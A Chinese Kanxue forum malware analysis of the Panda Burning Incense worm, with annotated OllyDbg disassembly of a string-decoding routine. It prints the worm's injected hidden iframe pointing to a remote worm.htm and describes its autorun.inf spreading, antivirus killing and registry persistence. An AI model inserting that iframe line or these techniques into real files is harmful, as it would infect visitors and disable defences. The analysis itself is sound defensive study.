其他
熊猫烧香病毒逆向过程及其分析思路
本文为看雪论坛优秀文章
看雪论坛作者ID:码小芹
前言
基本信息
动态分析
分析工具以及环境
OD
PEID
VMware xp虚拟机
详细分析过程与思路
1. 查看文件基本信息
2. 打开OD载入病毒样本文件
00405360 /$ 55 push ebp
00405361 |. 8BEC mov ebp,esp
00405363 |. 83C4 E8 add esp,-0x18
00405366 |. 53 push ebx
00405367 |. 56 push esi
00405368 |. 57 push edi
00405369 |. 33DB xor ebx,ebx
0040536B |. 895D E8 mov [local.6],ebx
0040536E |. 895D F0 mov [local.4],ebx
00405371 |. 895D EC mov [local.5],ebx
00405374 |. 894D F4 mov [local.3],ecx
00405377 |. 8955 F8 mov [local.2],edx
0040537A |. 8945 FC mov [local.1],eax
0040537D |. 8B45 FC mov eax,[local.1]
00405380 |. E8 37EDFFFF call 004040BC
00405385 |. 8B45 F8 mov eax,[local.2]
00405388 |. E8 2FEDFFFF call 004040BC
0040538D |. 33C0 xor eax,eax
0040538F |. 55 push ebp
00405390 |. 68 4A544000 push 0x40544A
00405395 |. 64:FF30 push dword ptr fs:[eax]
00405398 |. 64:8920 mov dword ptr fs:[eax],esp
0040539B |. 837D FC 00 cmp [local.1],0x0
0040539F |. 75 0A jnz X004053AB
004053A1 |. 8B45 F4 mov eax,[local.3]
004053A4 |. E8 9BE8FFFF call 00403C44
004053A9 |. EB 77 jmp X00405422
004053AB |> 8D45 EC lea eax,[local.5]
004053AE |. 8B55 F8 mov edx,[local.2]
004053B1 |. E8 26E9FFFF call 00403CDC
004053B6 |. 8D45 F0 lea eax,[local.4]
004053B9 |. E8 86E8FFFF call 00403C44
004053BE |. 8B45 FC mov eax,[local.1]
004053C1 |. E8 06EBFFFF call 00403ECC ; strlen(字符串1)
004053C6 |. 8BF0 mov esi,eax ; esi = eax
004053C8 |. 85F6 test esi,esi ; if(esi == 0)
004053CA |. 7E 4B jle X00405417 ; break
004053CC |. BB 01000000 mov ebx,0x1 ; ebx = 1
004053D1 |> 8B45 EC /mov eax,[local.5] ; do{
004053D4 |. E8 F3EAFFFF |call 00403ECC ; strlen(字符串2)
004053D9 |. 50 |push eax
004053DA |. 8BC3 |mov eax,ebx ; eax = ebx
004053DC |. 5A |pop edx ; edx = eax
004053DD |. 8BCA |mov ecx,edx ; ecx = edx
004053DF |. 99 |cdq
004053E0 |. F7F9 |idiv ecx ; edx = eax % ecx
004053E2 |. 8BFA |mov edi,edx ; edi = edx
004053E4 |. 47 |inc edi ; edi++
004053E5 |. 8B45 EC |mov eax,[local.5]
004053E8 |. 0FB64438 FF |movzx eax,byte ptr ds:[eax+edi-0x1] ; eax = str1[edi - 1]
004053ED |. B9 0A000000 |mov ecx,0xA ; ecx = 10
004053F2 |. 33D2 |xor edx,edx ; edx = 0
004053F4 |. F7F1 |div ecx ; edx = eax % ecx
004053F6 |. 8B45 FC |mov eax,[local.1]
004053F9 |. 0FB64418 FF |movzx eax,byte ptr ds:[eax+ebx-0x1] ; eax = str2[edi - 1]
004053FE |. 33D0 |xor edx,eax ; edx = edx ^ eax
00405400 |. 8D45 E8 |lea eax,[local.6]
00405403 |. E8 24EAFFFF |call 00403E2C ; eax[ebx] = edx
00405408 |. 8B55 E8 |mov edx,[local.6]
0040540B |. 8D45 F0 |lea eax,[local.4]
0040540E |. E8 C1EAFFFF |call 00403ED4
00405413 |. 43 |inc ebx ; ebx++
00405414 |. 4E |dec esi ; esi--
00405415 |.^ 75 BA \jnz X004053D1 ; }
00405417 |> 8B45 F4 mov eax,[local.3]
0040541A |. 8B55 F0 mov edx,[local.4]
接着我们利用上述思路分析0x00407adc函数得出,其是通过将主要将字符串“\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>”添加到文件末尾而感染网络文件的。
随后又创建 c:\autorun.inf文件。
往文件中写入一下内容后,将 setup.exe 与 autorun.inf 的属性设为隐藏。
F7 进入此函数,发现其会创建线程,而且是循环创建10次。
为了便于对此线程回调函数的分析,我们在其执行一次创建后就让其返回到消息循环中。
并在线程回调函数处下断点,运行程序将会断在此断点处。
来到断点处我们发现其共有3种操作。
一是遍历杀毒软件并关闭:
三是关闭任务管理器等一些程序:
分析完线程函数后我们回到主线程继续分析其调用RegCreatekeyExA()---->RegSetValaueExA%20%20%20%20---->%20%20%20RegCloseKey()来设置两个启动项,第一个是用来在开机时自动启动病毒。另一个是设置使用户无法查看隐藏文件。
总结
看雪ID:码小芹
https://bbs.pediy.com/user-861998.htm
*本文由看雪论坛 码小芹 原创,转载请注明来自看雪社区。
推荐文章++++
* 2020网鼎杯 青龙组 Android逆向题 rev01 WP
好书推荐